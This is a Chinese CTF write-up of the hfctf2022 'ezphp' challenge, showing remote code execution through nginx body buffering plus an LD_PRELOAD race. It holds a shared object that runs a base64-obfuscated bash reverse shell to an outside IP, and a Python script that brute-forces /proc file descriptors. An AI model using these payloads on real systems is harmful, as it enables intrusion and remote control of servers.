hfctf2022 ezphp writeup

hfctf2022 ezphp writeup

上周末打了虎符杯,ezphp 这题拿了个一血

2

复现环境:

https://github.com/waderwu/My-CTF-Challenges/tree/master/hfctf-2022/ezphp

核心思想:

利用 nginx 会将 过大 post data 完整保存为临时文件这一特性,通过条件竞争,将 LD_PRELOAD 环境变量的值设为上传的临时文件,然后在 system() 的时候触发rce

测试 临时文件位置 和内容:

环境搭起来,更改一下 nginx 的配置,将 client_body_in_file_only 打开,使得临时保存的文件不会被删除:

http://nginx.org/en/docs/http/ngx_http_core_module.html#client_body_in_file_only

https://stackoverflow.com/questions/23741749/turn-on-nginx-client-body-in-file-only-for-put-method-only

/etc/nginx/sites-enabled/default

1
2
3
4
5
6
7
8
location ~ \.php$ {
include snippets/fastcgi-php.conf;
client_body_in_file_only on;
# With php-fpm (or other unix sockets):
# fastcgi_pass unix:/run/php/php7.3-fpm.sock;
# With php-cgi (or other tcp sockets):
fastcgi_pass 127.0.0.1:9000;
}

安装 inotifywait ,监测 /var/lib/nginx

1
2
3
4
root@a6fe4d268364:/var/lib/nginx# apt-get install inotify-tools -y
root@a6fe4d268364:/var/lib/nginx# inotifywait -m -r .
Setting up watches. Beware: since -r was given, this may take a while!
Watches established.

然后发起一个请求,post data 尽量大:

1
2
3
import requests
URL = f'http://ant.com:8888/index.php'
requests.post(URL, data=16*1024*'A')

运行之后,可以看到,生成了一个 ./body/0000013295 文件:

image-20220326174140106

去读一下这个文件的内容,可以看到满屏的 A:

image-20220326174313669

计算一下 字符大小:

1
2
root@a6fe4d268364:/var/lib/nginx/body# wc -c 0000013295 
16384 0000013295
1
2
data=16*1024*'A'
len(data) #16384

因而得出结论,post data 的内容被 完整 保存到了/var/lib/nginx/body/

构造 reverseshell_dirty.so

1
2
3
4
5
6
7
8
#define _GNU_SOURCE

#include <stdlib.h>

__attribute__ ((__constructor__)) void preload (void)
{
system("echo YmFzaCAtaSA+JiAvZGV2L3RjcC84Ny45NC4xLjM4LzEyMzQ1IDA+JjEK | base64 -d | bash");
}
1
gcc -fPIC reverseshell.c -shared -o reverseshell.so

.so 文件的末尾可以直接拼接脏数据:

1
2
3
4
5
with open("reverseshell.so","br") as f:
c = f.read()
c = c + 16*1024*b'A'
with open("reverseshell_dirty.so","bw") as f:
f.write(c)

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python3
import sys, threading, requests

# exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance
# see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details

URL = 'http://target:port/index.php'

done = False

# upload a big client body to force nginx to create a /var/lib/nginx/body/$X
def uploader():
print('[+] starting uploader')
while not done:
requests.get(URL, data=open("reverseshell_dirty.so","br").read())

for _ in range(16):
t = threading.Thread(target=uploader)
t.start()

# brute force nginx's fds and pids
def bruter():
for pid in range(4194304):
print(f'[+] brute loop restarted: {pid}')
for fd in range(4, 32):
f = f'/proc/{pid}/fd/{fd}'
r = requests.get(URL, params={
'env': f"LD_PRELOAD={f}",
})

a = threading.Thread(target=bruter)
a.start()

接收到反弹 shell :

image-20220326194410236

参考资料:

https://blog.zeddyu.info/2022/01/08/2022-01-08-TheEndOfLFI/

https://cloud.tencent.com/developer/article/1925240

https://tttang.com/archive/1384/#toc_chain-together

http://nginx.org/en/docs/http/ngx_http_fastcgi_module.html

http://nginx.org/en/docs/http/ngx_http_core_module.html#client_body_in_file_only

https://tttang.com/archive/1450/

https://stackoverflow.com/questions/23741749/turn-on-nginx-client-body-in-file-only-for-put-method-only

https://bierbaumer.net/security/php-lfi-with-nginx-assistance/